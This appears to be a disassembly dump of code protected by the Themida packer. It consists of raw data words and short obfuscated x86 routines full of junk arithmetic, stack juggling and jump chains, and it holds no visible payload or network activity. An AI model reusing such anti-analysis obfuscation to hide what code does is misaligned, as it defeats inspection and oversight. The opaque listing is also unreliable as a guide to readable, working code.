0DF68240Ch, 8900002Dh dd 0ACB22414h, 88D38853h, 7BCDE9D9h, 0D801FFFFh, 0E4F1E953h dd 0C483FFFFh, 68D9F604h, 28F5h, 0B6241489h, 8C680CDh dd 0C680DEF6h, 5AF130F6h, 23B9E9h, 51D63100h, 63EBBE56h dd 0D6F77040h, 6AECE9h, 4C48300h, 692AC981h, 0E9C15ADCh dd 14E98105h, 89AE76D0h, 0F38959CEh, 55D3F75Eh, 0CE241BBDh dd 41C0E948h, 0BF57FFFFh, 2B3B6880h, 8103EFC1h, 9F3A72F7h dd 5FF93100h, 0FFC2CFE9h, 4BF57FFh, 81000000h, 18586AEBh dd 81FB0152h, 18586AC3h, 0C3835F52h, 241C3304h, 0E9241C31h dd 3EFCh, 0C681E689h, 4, 4C681h, 34870000h, 0C5815C24h dd 0AC398D94h, 5597E9h db 0 ; --------------------------------------------------------------------------- loc_560771: ; CODE XREF: Themida_:00553B77j add ecx, edx jmp loc_568183 ; --------------------------------------------------------------------------- loc_560778: ; CODE XREF: Themida_:00558332j mov edx, esp add edx, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 sub edx, ecx push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55B4F6 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFF3124h, 0E904C483h, 571Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_552C38 ; --------------------------------------------------------------------------- db 81h dd 0D74B9CC6h, 0DC6815Ch, 81F411D4h, 8560BEC7h, 81F70128h dd 8560BEEFh, 824EE928h, 5DBDFFFFh, 817AFF60h, 9FA5C5h dd 0AAE95685h, 71h, 7AB050E3h, 6F0CC0FEh, 634C0FEh, 5858C328h dd 0FFF052E9h, 240C33FFh, 33240C31h, 248B240Ch, 0E7895724h dd 251EB850h, 1A353A50h, 13A5025h, 4467E9C7h, 5F050000h dd 527D73Bh, 8117DC1h, 160B951h, 0E9811977h, 3D575C59h dd 8103E1C1h, 8105B8F1h, 0F9C1810Ch, 81162E17h, 0BB3C27C1h dd 0E1F18161h, 29185CF0h, 0EC8359C8h, 243C8904h, 699468h dd 241C8900h, 0E49C768h, 0E9575B36h, 0FFFF2B01h, 0DEE9CAFEh dd 0B8FFFF85h, 0E5D16F5h, 1F20BB53h, 0D829093Ah, 0BF57405Bh dd 3C80631Ah, 0F708E7C1h, 3E7C1DFh, 8104E7C1h, 9E71CDEFh dd 0D7EF8111h, 2176ED31h, 0D971E9F8h, 315AFFFFh, 2434FFF8h dd 4EC815Fh, 0E9000000h, 0FFFF3FD8h, 0EC30E530h, 0EC86D5F6h dd 0C4FED4F6h, 6EE9DCF6h, 81000055h, 4C4h, 35EB8100h, 56EFCBBEh dd 0FFB0A0E9h, 225CBBFFh, 0F3811AA1h, 1A1A0360h, 1391E381h dd 49E9240Ah db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560907: ; CODE XREF: Themida_:0055CD29j mov esp, [esp] sub esp, 4 mov [esp], ebp push 40h push dword ptr [esp] pop ebp add esp, 4 jmp loc_562BB3 ; --------------------------------------------------------------------------- dd 24E98158h, 687E1A63h, 75EAh, 0BF243C89h, 0ED31D576h dd 552EE981h, 0F9295831h, 14BCBF57h, 0C78162D4h, 0F55D4072h dd 8B5FF901h, 0C483243Ch, 86EE8104h, 146AA36h, 86C681CEh dd 5946AA36h, 2BA52h, 0E90000h, 81FFFFBAh, 4ECh, 24148900h dd 0C281E289h, 4, 8704C283h, 8CE92414h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56098B: ; CODE XREF: Themida_:005576CFj pop ebp mov ecx, [esp] jmp loc_56459C ; --------------------------------------------------------------------------- dd 0D2F7DAF7h, 5785C281h, 3AE97879h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5609A3: ; CODE XREF: Themida_:00557572j push edx mov edx, 713149AEh inc edx dec edx sub edx, 1B9054E8h xor edx, 7DEEE3E4h add ebx, edx jmp loc_55D9D5 ; --------------------------------------------------------------------------- dw 1504h dd 152CD028h, 0AFB75366h, 0F8287104h, 0FF70E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5609D1: ; CODE XREF: Themida_:00554D2Fj mov ecx, 478536C3h add esi, ecx pop ecx sub esi, ebp sub esi, 478536C3h pop ebp jmp loc_5601D5 ; --------------------------------------------------------------------------- db 59h dd 4BE56h, 0F0010000h, 2404875Eh, 0FFC944E9h db 0FFh ; --------------------------------------------------------------------------- loc_5609F9: ; CODE XREF: Themida_:00561EC2j pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ecx, 28h jmp loc_557B52 ; --------------------------------------------------------------------------- db 8 dd 0B7535BFAh, 55F7803Eh, 205FC780h, 0EA805BFAh, 0B033E971h dd 3C89FFFFh, 75356824h, 24890000h, 4BF5724h, 81000000h dd 0D604246Ch, 17D547Eh, 8104247Ch, 0D6042444h, 5F7D547Eh dd 83243C8Bh, 0E95004C4h, 0FFFFA5CDh ; --------------------------------------------------------------------------- loc_560A5C: ; CODE XREF: Themida_:00553859j mov edx, 4 add eax, edx pop edx push eax jmp loc_5651E6 ; --------------------------------------------------------------------------- dw 435h aZJsP db 'z',1Bh,'Jé¾P',0 align 4 dd 4EC835Ah, 89243489h, 4BF57E6h, 0E9000000h, 0FFFF41D1h dd 11E3815Ah, 513E6D00h, 6248D0B9h, 94F18157h, 31034724h dd 0DA2159CBh, 81241C8Bh, 4C4h, 4F28100h, 0E9402160h, 0FFFFEB41h dd 3EE9D5F7h, 1FFFF9Ah, 68575FFEh, 1BEA8F31h, 7499E9h dd 24048900h, 42474FFh, 0E924048Bh, 4E9Ch, 5165EF81h, 2EE950B6h dd 21FFFF74h, 34FF1C47h, 89525824h, 4C281E2h, 83000000h dd 148704C2h, 70E95C24h, 81000045h, 0AD2C79CAh, 8123E902h dd 8158FFFFh, 4F8DE0F6h, 0E9F00163h, 0FFFFD4B7h, 8104C483h dd 6046A8C6h, 81FE0132h, 6046A8EEh, 243C8B32h, 104C483h dd 32BF57C6h, 81660F79h, 2D6FA4E7h, 0FFC78365h, 0F9DCF81h dd 0E7C17C1Eh, 81E7D106h, 0B77F6FEFh, 0E9FE29EBh, 63D5h dd 5C243C87h, 2474FF53h, 48F5B04h, 24248B24h, 4B30F66h dd 0C5E99C24h db 20h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B73: ; CODE XREF: Themida_:0055D78Cj mov ecx, 3A1A0DB2h add [esp+4], ecx pop ecx mov edi, [esp] add esp, 4 jmp loc_56033B ; --------------------------------------------------------------------------- dd 4C28158h, 87000000h, 67E92414h, 52FFFF3Ch, 0C009B050h dd 432C03E8h, 7DE9C688h, 0FFFFB2h, 526658C2h, 1242C80h dd 0CA805A66h, 4EC830Ah, 0B7241C89h, 2161E9D8h, 48B0000h dd 0BCE95124h, 51FFFFEBh, 0C181E189h, 4, 4E981h, 0C870000h dd 24248B24h, 0B4240489h, 57B45039h, 803DEC80h, 0EB806CC4h dd 80E300B1h, 0E958B1C3h, 0FFFFFBFFh, 240C875Ch, 8324248Bh dd 1C8904ECh, 4F59E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C0E: ; CODE XREF: Themida_:00560549j push eax push 7B5179Fh pop eax add eax, 406F5CCEh push 5E42h mov [esp], eax push edx pop eax jmp loc_55DF38 ; --------------------------------------------------------------------------- db 81h, 0E5h, 18h dd 0F77FAE1Bh, 0FDED81D5h, 14697DBh, 2434FFE8h, 69BAE9h dd 80E95800h, 31FFFF7Fh, 5F04247Ch, 0FF8CADE9h, 241433FFh dd 6624248Bh, 5624048Bh, 24348B54h, 5398E9h db 0 ; --------------------------------------------------------------------------- loc_560C65: ; CODE XREF: Themida_:00552F77j push dword ptr [edi+eax*4] push esi push esi push esp pop esi jmp loc_55DC78 ; --------------------------------------------------------------------------- db 59h, 81h, 0C1h dd 4, 8704C183h, 0B6E9240Ch db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C83: ; CODE XREF: Themida_:00563E4Aj pop esi push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55FCB4 ; --------------------------------------------------------------------------- dd 582434FFh, 8904EC83h, 5BE92414h, 87FFFFDFh, 248B2414h dd 4C48324h, 5D5468h, 242C8900h, 32E9E589h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560CBF: ; CODE XREF: Themida_:0055753Aj pop dword ptr [esp] pop esp jmp loc_562146 ; --------------------------------------------------------------------------- loc_560CC8: ; CODE XREF: Themida_:00566A28j xor bh, 0EFh jmp loc_552C6B ; --------------------------------------------------------------------------- dd 0E95FF801h, 0FFFFC32Ch ; --------------------------------------------------------------------------- loc_560CD8: ; CODE XREF: Themida_:005532CFj add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], eax push esp pop eax push ebp sub esp, 4 mov [esp], edi mov edi, 55D25ED6h push ecx mov ecx, edi mov ebp, ecx pop ecx pop edi jmp loc_56279D ; --------------------------------------------------------------------------- db 0B5h, 5Eh, 88h dd 0CC33E9ECh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D2A: ; CODE XREF: Themida_:0055F87Dj push ebp push esp jmp loc_565DBB ; --------------------------------------------------------------------------- loc_560D31: ; CODE XREF: Themida_:0055B216j add dl, 0B5h sub dl, cl jmp loc_55C07B ; --------------------------------------------------------------------------- db 58h dd 1FE9E989h, 29000073h, 930FE9FBh, 32CFFFFh, 304D828h dd 0FFCD79E9h, 241487FFh, 5624248Bh, 0FF422EE9h, 505266FFh dd 1FA5E9h db 0 ; --------------------------------------------------------------------------- loc_560D69: ; CODE XREF: Themida_:005560DAj push edi jmp loc_564B28 ; --------------------------------------------------------------------------- db 0BDh dd 4, 4246C01h, 1601E9h, 68565700h, 7C303E04h, 91E9525Eh db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560D8B: ; CODE XREF: Themida_:00559FB2j mov edx, 19D254F4h sub edx, 8065A32h shl edx, 2 add edx, 0FFFFFFFFh push eax push esi push 117462D2h pop esi jmp loc_561F5A ; --------------------------------------------------------------------------- db 0BEh, 0ECh, 2Dh dd 0C6816FBAh, 0E4EB31C6h, 315EF089h, 24048BC2h, 4C481h dd 0F2810000h, 7401333Ch, 0FFCE0BE9h, 0BBE956FFh, 5CFFFF78h dd 652B68h, 0C36FE900h, 3489FFFFh, 348B5424h, 0E9545324h dd 5C53h, 0C5C2814Ah, 29A33EA4h, 3C335AD7h, 243C3124h dd 8B243C33h, 3C892424h, 81E78924h, 4C7h, 0EF32E900h, 0E958FFFFh dd 5EA7h ; --------------------------------------------------------------------------- loc_560E18: ; CODE XREF: Themida_:0055E788j add esp, 4 push ecx mov ecx, 5E9620D9h sub ecx, 683D5D5Fh sub ecx, 0F658C376h jmp loc_56775E ; --------------------------------------------------------------------------- db 28h, 0DCh, 8Bh dd 0C481241Ch, 4, 15E9E600h, 5DFFFF88h, 315FF989h, 240C8BCAh dd 4C481h, 34E90000h, 4100003Fh, 4A22E981h, 0F1817F92h dd 0F7A7DBB0h, 0E908E1C1h, 0FFFF80A0h, 87240489h, 0F751240Ch dd 97E92414h, 33000033h, 0E95C241Ch, 0FFFFE75Ah, 83242489h dd 58042404h, 0FF4139E9h, 2434FFFFh, 4C4835Bh, 38B85055h dd 8922675Dh, 0C58158C5h, 6913094Bh, 0DABB534Dh, 81237021h dd 16437CC3h, 38E38157h, 814D8F6Ch, 2C389EF3h, 15F38144h dd 8153F37Fh, 5CE993EBh, 477FE9F7h, 0DAF7FFFFh, 52DE9h dd 4EC8300h, 0E9240C89h, 1C48h, 0E0268h, 24348900h, 0C6815E54h dd 4, 6AA068h, 0CDEDE900h, 335DFFFFh, 4312404h, 24043324h dd 0FF54E3E9h, 24248BFFh, 0FFAF17E9h, 2434FFFFh, 592434FFh dd 4EC8151h, 89000000h, 4812424h, 424h, 0E18DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560F36: ; CODE XREF: Themida_:00567C46j add ecx, 4 push ebp mov ebp, 4 push edx mov edx, 27142DB7h xor edx, 2BCD6D3Dh sub ecx, edx jmp loc_55B244 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 3104C483h, 0E9008FC3h, 0FFFF1CD4h, 81242489h, 42404h dd 0E95D0000h, 2B99h ; --------------------------------------------------------------------------- loc_560F74: ; CODE XREF: Themida_:00563F04j push eax push edi push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edi mov edi, esp push edx mov edx, 6A6F3596h jmp loc_55B82E ; --------------------------------------------------------------------------- aIqyaCh db 'ˆïY€ÇCh',0 align 4 dd 8A243C28h, 0C483243Ch, 106DE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560FB2: ; CODE XREF: Themida_:0055BA1Ej pop edx shl edx, 2 sub edx, 1ADB753Fh add edx, 3B2DDA13h mov ebp, edx mov edx, [esp] push ecx jmp loc_564AC6 ; --------------------------------------------------------------------------- loc_560FCD: ; CODE XREF: Themida_:0055CE72j and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_55FF70 ; --------------------------------------------------------------------------- db 52h dd 87CB951h, 0BD556DFEh, 313F533Ch, 24348155h, 31E2323Fh dd 3FB8505Ah, 0E931E232h, 0FFFF6F8Dh, 24248Bh, 0E99C2404h dd 2A88h ; --------------------------------------------------------------------------- loc_56101C: ; CODE XREF: Themida_:0055C838j mov esp, [esp] push ebp push esp pop ebp sub esp, 4 mov [esp], edx jmp loc_566B72 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 26C36852h, 0F75A28CAh, 60B2E9D2h, 0C4830000h, 1E356804h dd 2C890000h, 0D286824h, 565D3C37h, 370D24BEh, 0E9F5293Ch dd 0FFFF4986h, 0FF1BD7E9h, 4C681FFh, 0E9000000h, 68A2h dd 0FF1BC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_561071: ; CODE XREF: Themida_:00552CE6j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_567FA3 ; --------------------------------------------------------------------------- db 31h dd 0EFE92434h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56108B: ; CODE XREF: Themida_:0055A5B7j mov cl, 2Ch neg cl xor cl, 0CFh mov dl, cl pop ecx push bx mov bh, 0EFh xor dl, bh pop bx jmp loc_55E66B ; --------------------------------------------------------------------------- dw 4BFh dd 81000000h, 0F72B5AC3h, 2D85E914h, 0D0290000h, 0E904EC83h dd 0FFFFD190h, 4EC81h, 4890000h, 5251B424h, 0E2C050B2h dd 0FFB05005h, 58C200h, 0F247E9D4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5610DA: ; CODE XREF: Themida_:0055BC46j pop edi add esp, 4 push ebp jmp loc_553A8C ; --------------------------------------------------------------------------- db 5 dd 4, 405h, 24048700h, 0FFCF61E9h, 686659FFh, 0A2E978D6h dd 0BFFFFF97h, 2E740A8Ch, 54A9EF81h, 0F74741D4h, 0A6E781D7h dd 0C1116B46h, 0EF8105EFh, 8D268A88h, 1E9F809h, 0B9FFFF88h dd 77C5474Ch, 2758E181h, 0D9F71F41h, 6EA4BE56h, 0F12168F0h dd 8A91E95Eh, 868FFFFh, 89000025h, 0E589242Ch, 4C581h dd 0ED830000h, 242C8704h, 0FFC548E9h db 0FFh ; --------------------------------------------------------------------------- loc_56115D: ; CODE XREF: Themida_:00564C5Fj shl eax, 8 sub eax, 4D1D06FCh mov ecx, eax pop eax sub esi, 3264976h add esi, ecx add esi, 3264976h pop ecx sub esi, 4 xchg esi, [esp] pop esp jmp loc_55A4D8 ; --------------------------------------------------------------------------- db 0BFh dd 93169A5h, 8B5FF801h, 89502414h, 6356E9E0h, 0C4810000h dd 4, 8104E6C1h, 0FFFFFFEEh, 0F4CE81FFh, 814ED00Dh, 8843B2CEh dd 6CEE812Dh, 311E5F2Dh, 0E7815EF7h, 31AE35BDh, 3729C781h dd 89E921B1h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5611CB: ; CODE XREF: Themida_:00564D06j pop edx add edx, 4 push esi mov esi, 4 sub edx, esi pop esi jmp loc_559539 ; --------------------------------------------------------------------------- loc_5611E0: ; CODE XREF: Themida_:00564668j mov [esp], ebx push ecx mov cl, 2Dh or cl, 0D7h add cl, 0FFh jmp loc_5649D2 ; --------------------------------------------------------------------------- db 0B5h, 2Eh, 0E9h dd 0FFFF956Ah ; --------------------------------------------------------------------------- loc_5611F8: ; CODE XREF: Themida_:0055F1E6j add edi, ebp jmp loc_56035C ; --------------------------------------------------------------------------- db 5Fh dd 0A3208C05h, 292BE91Ch, 0E953FFFFh, 0FFFFEDCFh ; --------------------------------------------------------------------------- loc_561210: ; CODE XREF: Themida_:005600EEj push 3CD6h mov [esp], esp jmp loc_565AF1 ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 0FFF3C2E9h, 5DEA01FFh, 5024348Bh, 0C30E9h db 0 ; --------------------------------------------------------------------------- loc_561231: ; CODE XREF: Themida_:0055BBE5j add al, 0FCh pop ecx jmp loc_564663 ; --------------------------------------------------------------------------- db 81h, 0F1h, 8Ch dd 0C120C861h, 25E907E9h, 0FFFFFF4Ch, 83592434h, 0E5E904C4h dd 21FFFF19h, 0EFC15AD7h, 1C78308h, 8AE9DFF7h, 81000011h dd 0F018EFCAh, 0FBF28153h, 892CABA3h, 57ABE9D0h, 0D0F7FFFFh dd 153AC50Dh, 3E8C15Fh, 5DB4E9h db 0 ; --------------------------------------------------------------------------- loc_561285: ; CODE XREF: Themida_:005612DDj add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push ebp jmp loc_5669C2 ; --------------------------------------------------------------------------- loc_56129D: ; CODE XREF: Themida_:0056450Dj mov eax, esp push ecx push edi jmp loc_56801F ; --------------------------------------------------------------------------- dw 0C783h dd 243C8704h, 388B685Ch, 14890000h, 0FB776824h, 3EE9522Dh dd 0BAFFFFB5h, 4815820h, 0DAF7D2F7h, 2B73C281h, 0B8500C3Dh dd 15C7293Bh, 8EE9D8F7h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5612DB: ; CODE XREF: Themida_:005573F8j mov eax, esp jmp loc_561285 ; --------------------------------------------------------------------------- loc_5612E2: ; CODE XREF: Themida_:005652E9j add esp, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_55E10B ; --------------------------------------------------------------------------- loc_5612F8: ; CODE XREF: Themida_:005583BEj mov [esp], eax jmp loc_55944B ; --------------------------------------------------------------------------- loc_561300: ; CODE XREF: Themida_:0055365Ej add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub dword ptr [esp], 481640BFh add [esp], eax push ebp mov ebp, 481640BFh add [esp+4], ebp pop ebp sub dword ptr [esp], 26B25048h jmp loc_552C38 ; --------------------------------------------------------------------------- db 5Ah, 31h, 0D6h dd 0AAE9F231h, 29FFFFF3h, 5AE95AD3h, 0FF000064h, 835E2434h dd 7EE904ECh, 58000068h, 0A3FE9h, 5BD90000h, 0E9D7EC80h dd 0FFFF5AE7h, 0E924248Bh, 1F6Eh ; --------------------------------------------------------------------------- loc_561368: ; CODE XREF: Themida_:0055B14Fj not esi xor esi, 4D7F30BDh neg esi jmp loc_553C9A ; --------------------------------------------------------------------------- loc_561377: ; CODE XREF: Themida_:0055F05Fj sub ebp, ebx pop ebx add ecx, 5B97457Fh add ecx, ebp sub ecx, 5B97457Fh jmp loc_56653B ; --------------------------------------------------------------------------- loc_56138D: ; CODE XREF: Themida_:005668B4j xchg edx, [esp] pop esp mov [esp], ecx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_563D78 ; --------------------------------------------------------------------------- loc_5613B3: ; CODE XREF: Themida_:00559CAFj push edi jmp loc_564B63 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0BE56E589h, 327D0A7Ch, 0C106EEC1h, 0C5E903EEh db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5613CF: ; CODE XREF: Themida_:00565624j mov ah, 7Dh jmp loc_559267 ; --------------------------------------------------------------------------- dw 0C7B3h dd 76E93AB1h, 5BFFFFFFh, 0FF295BE9h, 2BE56FFh, 81000000h dd 0A50E4AC2h, 5AC28165h, 296F2053h, 5AEA81F2h, 566F2053h dd 0A50E4ABEh, 0DED0E965h, 0EAC1FFFFh, 1AE95108h, 51FFFFE6h dd 592414F6h, 0FFB7B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_56141D: ; CODE XREF: Themida_:0056816Bj push eax mov eax, 1353178Dh sub eax, 13531789h jmp loc_564F12 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8124h, 89000000h, 0E389241Ch, 16386852h, 34890000h dd 6AE95124h, 83FFFFC0h, 59042404h, 7A5368h, 242C8900h dd 6C5F48BDh, 0B0ED8174h, 0E959DC47h, 0FFFFB908h ; --------------------------------------------------------------------------- loc_561468: ; CODE XREF: Themida_:005647D2j add ebp, edi pop edi add ebp, 7E201EE0h add ebp, 4BBE10EDh add ebp, eax sub ebp, 4BBE10EDh jmp loc_56390D ; --------------------------------------------------------------------------- dd 24048F5Ch, 6624248Bh, 0E9240C89h, 0FFFFC23Dh, 7313E945h dd 1C8BFFFFh, 4C48124h, 81000000h, 4C4h, 68C38000h, 0E9A2C380h dd 0FFFFCEA2h ; --------------------------------------------------------------------------- loc_5614B4: ; CODE XREF: Themida_:005602D5j push edx jmp loc_55CBAA ; --------------------------------------------------------------------------- dw 0CE89h dd 8B5EF089h, 0C481240Ch, 4, 8758C601h, 815C2434h, 4ECh dd 434DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5614DA: ; CODE XREF: Themida_:00562998j dec bl sub esp, 4 mov [esp], edx mov dh, 0E4h shr dh, 6 jmp loc_567B78 ; --------------------------------------------------------------------------- db 5Fh dd 6AD2BE56h, 0CE812CD0h, 728C7A50h, 0CB6EE81h, 0F6812848h dd 468B3964h, 0C681DEF7h, 101F577Ah, 335EF201h, 14312414h dd 24143324h, 0FF48F5E9h, 42ED81FFh, 0E9F0B578h, 0FFFFAAD5h dd 4BDh, 5DEF0100h, 4EF81h, 0D4E90000h, 89000055h, 0C5B3E9E0h dd 6664FFFFh, 5451028Bh, 4C18159h, 81000000h, 4E9h, 240C8700h dd 0FFE04BE9h db 0FFh ; --------------------------------------------------------------------------- loc_561561: ; CODE XREF: Themida_:0055988Cj pop ecx sub ecx, 0BE7950ABh add ebx, 530828AAh sub ebx, ecx sub ebx, 530828AAh jmp loc_5595D7 ; --------------------------------------------------------------------------- db 57h dd 0FFE60EE9h, 5D8F7FFh, 24064B7Dh, 797ABB53h, 0D3F7113Eh dd 3048EB81h, 0EC8374FCh, 895CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56159E: ; CODE XREF: Themida_:00562798j mov eax, [esp] add esp, 4 add esp, 4 xor eax, 66170F4Ah jmp loc_564186 ; --------------------------------------------------------------------------- dd 0ECD8E943h, 2C89FFFFh, 2EDBBD24h, 52450CBFh, 1D633FBAh dd 0FFD53157h, 815A2434h, 4C4h, 0E7F58100h, 15BA24Dh, 0DAC2E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5615E2: ; CODE XREF: Themida_:005627AFj push dword ptr [esp] pop ebp add esp, 4 jmp loc_55AC05 ; --------------------------------------------------------------------------- db 89h, 0F7h, 8Bh dd 0C4812434h, 4, 0C159CF31h, 0E78104E7h, 28654640h, 1E21E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56160E: ; CODE XREF: Themida_:00566DB3j mov ch, bh push dword ptr [esp] pop ebx push 13E2h mov [esp], ecx mov ecx, esp jmp loc_56780E ; --------------------------------------------------------------------------- db 88h dd 0F90E9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56162A: ; CODE XREF: Themida_:0055C57Fj jnz loc_567DFC push ebx sub esp, 4 jmp loc_56583C ; --------------------------------------------------------------------------- loc_561639: ; CODE XREF: Themida_:00559A90j add ebx, ebp sub ebx, 22BD61A3h jmp loc_55DA7F ; --------------------------------------------------------------------------- loc_561646: ; CODE XREF: Themida_:0056744Dj pop esi jmp loc_564860 ; --------------------------------------------------------------------------- loc_56164C: ; CODE XREF: Themida_:00566336j add dh, 0FFh dec dh sub dh, 0A9h shl dh, 4 push bx mov bh, 0F7h xor dh, bh pop bx jmp loc_554861 ; --------------------------------------------------------------------------- dd 0B7241C89h, 3E7C0A4h, 0DFF6D7F6h, 70E9C7FEh, 0C1FFFFD2h dd 55E907EEh db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56167F: ; CODE XREF: Themida_:00558DF3j mov eax, esp push ebp jmp loc_5653A3 ; --------------------------------------------------------------------------- db 89h dd 4EE92424h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56168F: ; CODE XREF: Themida_:00556EFAj mov [esp], ebp mov ebp, esp jmp loc_565548 ; --------------------------------------------------------------------------- loc_561699: ; CODE XREF: Themida_:0055F88Cj mov [esp], edi jmp loc_563C6F ; --------------------------------------------------------------------------- db 0BDh, 0EBh, 76h dd 0C581540Fh, 0FFFFFFFFh, 3CF2CD81h, 0CD8121ACh, 581C6506h dd 17BDE9h, 24148900h, 0F368E289h, 8900006Eh, 21BD242Ch dd 0F7527141h, 0C5814DD5h, 52714127h, 0FFCA44E9h, 45A72DFFh dd 0A52D4BFBh, 2170DDCCh, 0EA8158C2h, 0F729C3C9h, 0E95AD029h dd 0FFFFE4ABh, 68241C89h, 2CC9h, 0FFCB66E9h, 1D5605FFh dd 0BA521209h, 7A1C3001h, 5B13F281h, 0C2810F41h, 0B83C0F7Dh dd 148BD001h, 4C48124h, 2D000000h, 14C457DBh, 0DB05E801h dd 2D14C457h, 2D997A8Fh, 91D562Dh, 242C8B12h, 81E18951h dd 4C1h, 4BE5600h, 0E9000000h, 6A24h, 427B68h, 240C8900h dd 8904EC83h, 68532414h, 58703D7Fh, 5B51535Bh, 0E9D1F759h dd 68F6h, 0E3B4EE81h, 0F701D9F4h, 0FF3FADE9h, 240481FFh dd 4, 0FBE9525Bh, 8100002Ch, 1B3877EAh, 0DFBD5508h, 0E964C25Fh dd 0FFFF9203h, 740AE993h, 0EF28FFFFh, 6EEF8059h, 0FE5BF900h dd 0E217E9C9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5617B6: ; CODE XREF: Themida_:005659D2j sub esp, 4 mov [esp], edx jmp loc_5677E7 ; --------------------------------------------------------------------------- loc_5617C1: ; CODE XREF: Themida_:00564DC1j add edi, esi jmp loc_554AC7 ; --------------------------------------------------------------------------- loc_5617C8: ; CODE XREF: Themida_:0055B849j add edi, 3FDE345Fh pop edx push ebx jmp loc_55C7F3 ; --------------------------------------------------------------------------- db 28h, 0EBh, 59h dd 0E950C328h, 0FFFF2DD9h, 6824248Bh, 6E8Eh, 52241489h dd 0FF9FDCE9h, 241C8BFFh, 0E904C483h, 0FFFF9099h ; --------------------------------------------------------------------------- loc_5617FC: ; CODE XREF: Themida_:0055D41Bj xor [esp], ebp xor ebp, [esp] pop esp push esi jmp loc_552C94 ; --------------------------------------------------------------------------- loc_561809: ; CODE XREF: Themida_:0055C3BBj pop ebx push eax push esp pop eax jmp loc_56030D ; --------------------------------------------------------------------------- dw 0DF01h dd 0FFC498E9h, 0A1C480FFh, 8841C480h, 24048BE2h, 4C481h dd 28B70000h, 0C008E7C0h, 0F78002E7h, 0E8D7E9F6h, 6855FFFFh dd 6055765Ah, 0FF495DE9h, 0C3815BFFh, 2A6F0093h, 0C1EB815Fh dd 81434C61h, 27A3B4C3h, 2C8153EAh, 0DB68D624h, 6FE95E19h dd 29FFFFCAh, 0B5E95BD8h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56186F: ; CODE XREF: Themida_:00552E3Dj mov edx, [esp] jmp loc_555635 ; --------------------------------------------------------------------------- db 5Bh dd 348BF301h, 0E7895724h, 4C781h, 0C7810000h, 4, 0FFF2C7E9h dd 0BF5750FFh, 1B9445F8h, 3C8BF889h, 4C48124h, 31000000h dd 76E958C5h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5618AB: ; CODE XREF: Themida_:0055F720j add eax, edx mov edx, [esp] add esp, 4 push ebp jmp loc_56468A ; --------------------------------------------------------------------------- loc_5618BC: ; CODE XREF: Themida_:00565E07j xor ebp, 7AB56033h xor ebp, 0D34A8D88h add edi, ebp pop ebp jmp loc_56717D ; --------------------------------------------------------------------------- dd 5E2434FFh, 56E28952h, 817CFDBEh, 61DBE937h, 0B850FFFFh dd 78FA027Fh, 0E9E9C229h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5618EF: ; CODE XREF: Themida_:0055CC71j push eax mov eax, 28D96D5Ah sub eax, 4E1D1C8Ch push ebp jmp loc_562E38 ; --------------------------------------------------------------------------- dd 665DEDB9h, 59CE0175h, 0EE81EE01h, 75665DEDh, 17BF575Dh dd 0E94BD106h, 0A68h ; --------------------------------------------------------------------------- loc_56191C: ; CODE XREF: Themida_:005670AAj pop ebx sub ebx, 6932E722h mov eax, ebx pop ebx mov ebx, eax pop eax add ebx, 0FFF9A011h add edi, ebx pop ebx jmp loc_556868 ; 